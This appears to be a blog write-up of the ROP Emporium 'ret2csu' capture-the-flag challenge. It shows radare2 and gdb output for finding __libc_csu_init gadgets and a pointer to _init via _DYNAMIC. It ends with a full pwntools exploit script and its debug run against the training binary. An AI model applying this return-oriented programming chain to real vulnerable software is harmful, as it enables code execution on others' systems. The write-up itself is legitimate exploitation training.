ROP Emporium - ret2csu
ret2csu, the final ROP Emporium challenge. This one is GLIBC-specific but nonetheless it is a fun exercise which forces you to look beyond the standard functions which the application author wrote and instead explore other parts of the binary which are essentially provided by the ecosystem.
Exploring the binary⌗
Not much going on with this binary:
jasper@ropper:~/ropemporium/ret2csu$ checksec ret2csu
[*] '/home/jasper/ropemporium/ret2csu/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
And as expected there is no usefulFunction
or usefulGadgets
:
[0x004005f0]> afl
0x00400560 3 23 sym._init
0x00400590 1 6 sym.imp.puts
0x004005a0 1 6 sym.imp.system
0x004005b0 1 6 sym.imp.printf
0x004005c0 1 6 sym.imp.memset
0x004005d0 1 6 sym.imp.fgets
0x004005e0 1 6 sym.imp.setvbuf
0x004005f0 1 43 entry0
0x00400620 1 2 sym._dl_relocate_static_pie
0x00400630 4 42 -> 37 sym.deregister_tm_clones
0x00400660 4 58 -> 55 sym.register_tm_clones
0x004006a0 3 34 -> 29 sym.__do_global_dtors_aux
0x004006d0 1 7 entry.init0
0x004006d7 1 61 sym.main
0x00400714 1 157 sym.pwnme
0x004007b1 1 128 sym.ret2win
0x00400840 3 101 -> 92 sym.__libc_csu_init
0x004008b0 1 2 sym.__libc_csu_fini
0x004008b4 1 9 sym._fini
[0x004005f0]> s loc.
loc.__init_array_end loc.__init_array_start loc.__GNU_EH_FRAME_HDR loc.data_start loc._edata
loc.__data_start loc._end loc.__bss_start loc.imp.__gmon_start
[0x004005f0]>
So let’s look at the mentioned __libc_csu_init()
function:
[0x004007b1]> s sym.__libc_csu_init
[0x00400840]> pdf
/ (fcn) sym.__libc_csu_init 92
| sym.__libc_csu_init (int arg1, int arg2, int arg3);
| ; arg int arg1 @ rdi
| ; arg int arg2 @ rsi
| ; arg int arg3 @ rdx
| ; DATA XREF from entry0 (0x400606)
| 0x00400840 4157 push r15
| 0x00400842 4156 push r14
| 0x00400844 4989d7 mov r15, rdx ; arg3
| 0x00400847 4155 push r13
| 0x00400849 4154 push r12
| 0x0040084b 4c8d25be0520. lea r12, qword obj.__frame_dummy_init_array_entry ; loc.__init_array_start ; 0x600e10
| 0x00400852 55 push rbp
| 0x00400853 488d2dbe0520. lea rbp, qword obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end ; 0x600e18
| 0x0040085a 53 push rbx
| 0x0040085b 4189fd mov r13d, edi ; arg1
| 0x0040085e 4989f6 mov r14, rsi ; arg2
| 0x00400861 4c29e5 sub rbp, r12
| 0x00400864 4883ec08 sub rsp, 8
| 0x00400868 48c1fd03 sar rbp, 3
| 0x0040086c e8effcffff call sym._init
| 0x00400871 4885ed test rbp, rbp
| ,=< 0x00400874 7420 je 0x400896
| | 0x00400876 31db xor ebx, ebx
| | 0x00400878 0f1f84000000. nop dword [rax + rax]
| | ; CODE XREF from sym.__libc_csu_init (+0x54)
| .--> 0x00400880 4c89fa mov rdx, r15
| :| 0x00400883 4c89f6 mov rsi, r14
| :| 0x00400886 4489ef mov edi, r13d
| :| 0x00400889 41ff14dc call qword [r12 + rbx*8]
..
| | ; CODE XREF from sym.__libc_csu_init (0x400874)
| `-> 0x00400896 4883c408 add rsp, 8
| 0x0040089a 5b pop rbx
| 0x0040089b 5d pop rbp
| 0x0040089c 415c pop r12
| 0x0040089e 415d pop r13
| 0x004008a0 415e pop r14
| 0x004008a2 415f pop r15
\ 0x004008a4 c3 ret
[0x00400840]>
Plenty of nice gadgets here! But nothing that readily allows control over RDX just yet.
[0x00400840]> /R pop rdx
[0x00400840]>
Finding the gadgets⌗
radare2 finds one usable gadget which allows control over rdx:
0x00400880 4c89fa mov rdx, r15
0x00400883 4c89f6 mov rsi, r14
0x00400886 4489ef mov edi, r13d
0x00400889 41ff14dc call qword [r12 + rbx*8]
Notice however that the gadget at 0x00400880
doesn’t end in a ret instruction but instead does a call to a computed location.
In order for the address to call to be determined we should put the actual address of ret2win()
in r12 and make sure rbx is 0 so that:
call qword [ret2win + 0x0*8]
But for this we’ll need control over rbx, r12 - r15 too:
[0x004005f0]> /R pop r15
0x0040089c 415c pop r12
0x0040089e 415d pop r13
0x004008a0 415e pop r14
0x004008a2 415f pop r15
0x004008a4 c3 ret
Looking at the disasmbly of __libc_csu_init
there is clearly a way to control rbx despite r2 not finding it by default:
[0x004005f0]> s 0x40089a
[0x0040089a]> pd
0x0040089a 5b pop rbx
0x0040089b 5d pop rbp
0x0040089c 415c pop r12
0x0040089e 415d pop r13
0x004008a0 415e pop r14
0x004008a2 415f pop r15
0x004008a4 c3 ret
[...]
[0x0040089a]> /R xchg rbx
[0x0040089a]> /R mov rbx
[0x0040089a]> /R pop rbx
[0x0040089a]>
Turns out the standard length of a gadget that r2 searches for is 5 instructions, and the one above is 7. So change the settings and search again:
[0x004005f0]> e rop.len = 7
[0x004005f0]> /R pop rbx
0x0040089a 5b pop rbx
0x0040089b 5d pop rbp
0x0040089c 415c pop r12
0x0040089e 415d pop r13
0x004008a0 415e pop r14
0x004008a2 415f pop r15
0x004008a4 c3 ret
[0x004005f0]>
So now we have one gadget to control all registers needed for 0x00400880
.
My initial chain wrote the literal address of ret2win into r12. However that doesn’t work (of course) since the call
has [r12+rbx*8]
as the operand, not r12+rbx*8
so we need a pointer to the address in r12.
To verify this I set a breakpoint on 0x400886
in gdb and adjusted the memory by hand by pointing r12 to .bss
and writing the address of ret2win into .bss
:
set $r12 = 0x601060
set {long}0x601060 = 0x4007b1
This spawned a shell so my approach was correct. Since there are no gadgets available to write to arbitrary memory locations through a ‘mov [regA], regB’ construct I went back to the original paper and this blog post: Some universal gadget sequence for Linux x86_64 ROP payload.
Since we control the stack we can put the address of ret2win()
on the stack and point to that. For this we need to extend our usage of the 0x00400880
gadget to also include the next instructions:
400880: 4c 89 fa mov rdx,r15
400883: 4c 89 f6 mov rsi,r14
400886: 44 89 ef mov edi,r13d
400889: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40088d: 48 83 c3 01 add rbx,0x1
400891: 48 39 dd cmp rbp,rbx
400894: 75 ea jne 400880 <__libc_csu_init+0x40>
400896: 48 83 c4 08 add rsp,0x8
40089a: 5b pop rbx
40089b: 5d pop rbp
40089c: 41 5c pop r12
40089e: 41 5d pop r13
4008a0: 41 5e pop r14
4008a2: 41 5f pop r15
4008a4: c3 ret
This alters the approach of putting the address of ret2win in r12 and calling it from ensuring the call made
at that point doesn’t modify our registers (especially rdx in this case) and doesn’t crash so that we can adjust rsp to point to ret2win
and slide on through to 0x4008a4
to return into ret2win
to win.
There’s another catch, we have to ensure the jump is not taken so cmp rbp, rbx
should find that both registers are equal. So rbx should be popped off of the stack as 0x0
and rbp as 0x1
.
That still leaves the question of what to put into r12. We cannot store the address of a function there, instead we need an address that points to a function that doesn’t modify any registers or at least leaves rdx alone.
The article points to consulting _DYNAMIC for this to call _init()
:
gdb-peda$ x/10x &_DYNAMIC
0x600e20: 0x00000001 0x00000000 0x00000001 0x00000000
0x600e30: 0x0000000c 0x00000000 0x00400560 0x00000000
0x600e40: 0x0000000d 0x00000000
gdb-peda$ x/x 0x600e38
0x600e38: 0x00400560
gdb-peda$ disas 0x00400560
Dump of assembler code for function _init:
0x0000000000400560 <+0>: sub rsp,0x8
0x0000000000400564 <+4>: mov rax,QWORD PTR [rip+0x200a8d] # 0x600ff8
0x000000000040056b <+11>: test rax,rax
0x000000000040056e <+14>: je 0x400572 <_init+18>
0x0000000000400570 <+16>: call rax
0x0000000000400572 <+18>: add rsp,0x8
0x0000000000400576 <+22>: ret
End of assembler dump.
gdb-peda$
This was the final piece of information we needed and now we can assemble the chain.
Exploit⌗
This “universal chain” works, as long as your universe is GLIBC:
jasper@ropper:~/ropemporium/ret2csu$ python ret2csu.py -d
[+] Starting local process './ret2csu': pid 24664
[DEBUG] Received 0x5f bytes:
'ret2csu by ROP Emporium\n'
'\n'
'Call ret2win()\n'
'The third argument (rdx) must be 0xdeadcafebabebeef\n'
'\n'
'> '
[DEBUG] Sent 0xa9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 9a 08 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 │····│····│····│····│
00000040 38 0e 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │8·`·│····│····│····│
00000050 00 00 00 00 00 00 00 00 ef be be ba fe ca ad de │····│····│····│····│
00000060 80 08 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
000000a0 b1 07 40 00 00 00 00 00 0a │··@·│····│·│
000000a9
[DEBUG] Received 0x21 bytes:
'ROPE{a_placeholder_32byte_flag!}\n'
[+] ROPE{a_placeholder_32byte_flag!}
[*] Stopped process './ret2csu' (pid 24664)
jasper@ropper:~/ropemporium/ret2csu$
Having to dip into _DYNAMIC
and going though parts of __libc_csu_init()
twice was not too intuitive but it does show that gadgets do not need to be located in code the application author created.
#!/usr/bin/env python2
import argparse
from pwn import *
def exploit():
p = process('./ret2csu')
p.recvuntil('> ')
# Gadgets
pop_rdi = p64(0x004008a3)
pop_rsi_r15 = p64(0x004008a1)
nop = p64(0x004008a4)
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8];
#
caller = p64(0x00400880)
# pop rbx, rbp, r12, r13, r14, r15
popper = p64(0x0040089a)
# Functions (and PLT entries)
ret2win = p64(0x004007b1)
bss = p64(0x601060)
# They value that needs to be present in rdx before calling ret2win
rdx_value = p64(0xdeadcafebabebeef)
payload = 'A' * 40
payload += popper
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp
payload += p64(0x600e38) # r12
payload += p64(0x0) * 2 # r13 - r14
payload += rdx_value # r15
# Now we go to caller with the correct values in the registers setup.
# We end up calling 0x600e38 along the way without side effects and then
# adjust rsp (hence ret2win is at the end of the chain because that's the
# new rsp value. We have to provide a fair amount of padding for all the registers
# that will be popped along the way.
payload += caller
payload += p64(0x0) * 7 # Just fillers to ride the pop sleigh for the second time and get ret2win on the stack
payload += ret2win
p.sendline(payload)
log.success(p.recv())
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--arch', '-a',
help='Binary architecture', default='amd64')
parser.add_argument('--os', '-O',
help='Operating system', default='linux')
parser.add_argument('--debug', '-d',
help='Enable debug output', default=False,
action='store_true')
args = parser.parse_args()
context(os=args.os, arch=args.arch)
if args.debug:
context.log_level = 'debug'
exploit()
if __name__ == '__main__':
main()
So that was ROP Emporium (64 bit), please let me know via mail or Twitter if you’ve found these articles useful or if there are any mistakes in there.